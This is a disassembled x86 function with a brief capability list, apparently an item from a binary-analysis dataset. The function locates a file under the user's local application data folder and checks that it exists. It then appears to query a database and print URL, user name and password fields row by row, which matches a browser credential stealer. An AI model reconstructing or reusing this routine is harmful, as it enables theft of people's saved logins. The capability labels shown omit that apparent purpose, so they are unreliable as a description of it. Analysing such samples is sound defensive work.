Function at 0x446680
Capabilities:
Check if file exists
Get common file path
Get file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x56c
mov eax, dword [0x4a80a0]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0x3ff
lea eax, [ebp - 0x53f]
mov byte [ebp - 0x540], 0
push 0
push eax
mov esi, ecx
call fcn.004644a0
add esp, 0xc
lea ecx, [ebp - 0x540]
call fcn.00446a10
mov eax, dword [0x49d518]
lea edx, [ebp - 0xc]
mov dword [ebp - 0xc], eax
mov ecx, edx
mov ax, word [0x49d51c]
mov word [ebp - 8], ax
mov al, byte [0x49d51e]
mov byte [ebp - 6], al
call fcn.00447390
lea eax, [ebp - 0xc]
push eax
push str._r_n__s_
push esi
call fcn.00447150
add esp, 0xc
lea eax, [ebp - 0x540]
push eax
push str._s___r_n
push esi
call fcn.00447150
add esp, 0xc
lea eax, [ebp - 0x540]
push eax
call fcn.00461394
add esp, 4
mov byte [ebp - 0x140], 0
lea eax, [ebp - 0x13f]
fstp qword [ebp - 0x568]
push 0x103
push 0
push eax
call fcn.004644a0
add esp, 0xc
lea eax, [ebp - 0x140]
push 0
push 0x1c
push eax
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
movsd xmm1, qword [ebp - 0x568]
comisd xmm1, xmmword [0x49f588]
jbe 0x4467b0
movsd xmm0, qword [0x49f5a8]
comisd xmm0, xmm1
jbe 0x4467b0
movdqu xmm0, xmmword [0x49d530]
mov ax, word [0x49d558]
lea edx, [ebp - 0x38]
mov ecx, edx
mov word [ebp - 0x10], ax
movdqu xmmword [ebp - 0x38], xmm0
movdqu xmm0, xmmword [0x49d540]
movdqu xmmword [ebp - 0x28], xmm0
movq xmm0, qword [str._f_rN]
movq qword [ebp - 0x18], xmm0
call fcn.00447390
lea eax, [ebp - 0x38]
jmp 0x4467ec
movdqu xmm0, xmmword [0x49d55c]
mov eax, dword [0x49d584]
lea edx, [ebp - 0x38]
mov ecx, edx
mov dword [ebp - 0x10], eax
movdqu xmmword [ebp - 0x38], xmm0
movdqu xmm0, xmmword [0x49d56c]
movdqu xmmword [ebp - 0x28], xmm0
movq xmm0, qword [0x49d57c]
movq qword [ebp - 0x18], xmm0
call fcn.00447390
lea eax, [ebp - 0x38]
push eax
lea eax, [ebp - 0x140]
push 0x104
push eax
call fcn.004613a5
add esp, 0xc
mov dword [ebp - 0x548], 0
lea eax, [ebp - 0x140]
mov dword [ebp - 0x544], 0
mov dword [ebp - 0x554], 0
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x4469fa
lea eax, [ebp - 0x548]
push eax
lea eax, [ebp - 0x140]
push eax
call fcn.0043e9ef
add esp, 8
test eax, eax
jne 0x4469fa
mov eax, dword [0x49d598]
lea edx, [ebp - 0x24]
movdqu xmm0, xmmword [0x49d588]
mov dword [ebp - 0x14], eax
mov ecx, edx
mov al, byte [0x49d59c]
movdqu xmmword [ebp - 0x24], xmm0
mov byte [ebp - 0x10], al
call fcn.00447390
lea eax, [ebp - 0x554]
push eax
lea eax, [ebp - 0x544]
push eax
push 0xffffffffffffffff
lea eax, [ebp - 0x24]
push eax
push dword [ebp - 0x548]
call fcn.0042117d
add esp, 0x14
test eax, eax
jne 0x4469fa
mov ebx, dword [sym.imp.KERNEL32.dll_LocalFree]
lea ebx, [ebx]
push 5
push dword [ebp - 0x544]
call fcn.004110cc
push 5
push dword [ebp - 0x544]
mov dword [ebp - 0x558], eax
call fcn.00411178
add esp, 0x10
mov dword [ebp - 0x55c], eax
lea eax, [ebp - 0x550]
push eax
push 8
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x55c]
push eax
mov eax, dword [esi + 0x41c]
call eax
test eax, eax
je 0x4469c7
push 0
push dword [ebp - 0x544]
call fcn.0041123f
mov edx, eax
add esp, 8
lea edi, [edx + 1]
mov cl, byte [edx]
inc edx
test cl, cl
jne 0x446916
sub edx, edi
je 0x446930
push eax
push str.___URL_:__s_r_n
push esi
call fcn.00447150
add esp, 0xc
push 3
push dword [ebp - 0x544]
call fcn.0041123f
mov edi, eax
add esp, 8
mov edx, edi
lea eax, [edx + 1]
mov cl, byte [edx]
inc edx
test cl, cl
jne 0x446947
sub edx, eax
je 0x446976
lea eax, [esi + 0x404]
push eax
push str.____s_:
push esi
call fcn.00447150
add esp, 0xc
push edi
push str._s_r_n
push esi
call fcn.00447150
add esp, 0xc
mov edi, dword [ebp - 0x54c]
mov ecx, edi
mov eax, dword [ebp - 0x550]
lea edx, [ecx + 1]
mov byte [eax + edi], 0
jmp 0x446990
mov al, byte [ecx]
inc ecx
test al, al
jne 0x446990
sub ecx, edx
je 0x4469bf
lea eax, [esi + 0x40d]
push eax
push str.____s_:
push esi
call fcn.00447150
add esp, 0xc
push edi
push str._s_r_n_r_n
push esi
call fcn.00447150
add esp, 0xc
push dword [ebp - 0x54c]
call ebx
push dword [ebp - 0x544]
call fcn.004106fe
add esp, 4
cmp eax, 0x64
je 0x4468b0
push dword [ebp - 0x544]
call fcn.0040e114
add esp, 4
push dword [ebp - 0x548]
call fcn.0043dda3
add esp, 4
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0046125f
mov esp, ebp
pop ebp
ret